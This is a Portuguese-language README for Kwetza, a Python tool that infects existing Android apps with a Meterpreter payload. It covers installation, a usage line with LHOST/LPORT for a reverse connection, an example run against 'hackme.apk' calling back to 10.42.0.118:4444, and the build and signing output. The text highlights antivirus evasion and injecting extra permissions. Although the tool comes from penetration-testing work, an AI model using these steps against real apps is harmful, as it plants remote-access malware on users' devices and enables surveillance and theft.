
Script Python para injetar payload Meterpreter em aplicativos Android existentes.
Por Chris Le Roy (@brompwnie) [email protected]
Kwetza é uma ferramenta que permite infectar uma aplicação Android existente com um payload Meterpreter.
Kwetza infecta uma aplicação Android existente com templates de payload personalizados ou padrão para evitar a detecção por antivírus. Kwetza permite infectar aplicações Android usando as permissões padrão da aplicação alvo ou injetar permissões adicionais para obter funcionalidades extras.
Os passos manuais automatizados pelo Kwetza podem ser encontrados aqui: https://sensepost.com/blog/2016/kwetza-infecting-android-applications/
Primeiro, obtenha o código:
git clone https://github.com/sensepost/kwetza.git
Kwetza é escrito em Python e requer BeautifulSoup, que pode ser instalado usando Pip:
pip install beautifulsoup4
Kwetza requer que o Apktool esteja instalado e acessível através do seu PATH. Isso pode ser configurado usando as instruções de instalação localizadas aqui: https://ibotpeaches.github.io/Apktool/install
python kwetza.py nameOfTheApkToInfect.apk https/tcp LHOST LPORT yes/no customClass
python kwetza.py hackme.apk https 10.42.0.118 4444 yes com.moo.another.activity
[+] MMMMMM KWETZA
[*] DECOMPILING TARGET APK
[+] ENDPOINT IP: 10.42.0.118
[+] ENDPOINT PORT: 4444
[+] APKTOOL DECOMPILED SUCCESS
[*] BYTING COMMS...
[*] ANALYZING ANDROID MANIFEST...
[+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity
[*] INJECTION INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[*] INJECTION OF CRAZY PERMS TO BE DONE!
[+] TIME TO BUILD INFECTED APK
[*] EXECUTING APKTOOL BUILD COMMAND
[+] BUILD RESULT
############################################
I: Using APktool 2.2.0
I: Checking whether source shas changed...
I: Smaling smali folder into classes.dex
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs ...(/lib)
I: Building apk file...
I: Copying unknown files/dir...
###########################################
[*] EXECUTING JARSIGNER COMMAND...
Enter Passphrase for keystore: password
[+] JARSIGNER RESULT
###########################################
jar signed.
###########################################
[+] L00t located at hackme/dist/hackme.apk
Kwetza foi desenvolvido para funcionar com Python 2.
Por padrão, o Kwetza usará o template e o keystore localizados na pasta "payload" para injetar e assinar o apk infectado.
Se você deseja assinar a aplicação infectada com seu próprio certificado, gere um novo keystore e coloque-o na pasta "payload" e renomeie para o keystore existente ou altere a referência no kwetza.py.
O mesmo pode ser feito para templates de payload.
A senha para o keystore padrão é, bem, "password".
Kwetza está licenciado sob a Licença Creative Commons Atribuição-NãoComercial-CompartilhaIgual 4.0 Internacional (http://creativecommons.org/licenses/by-nc-sa/4.0).
Permissões além do escopo desta licença podem estar disponíveis em http://sensepost.com/contact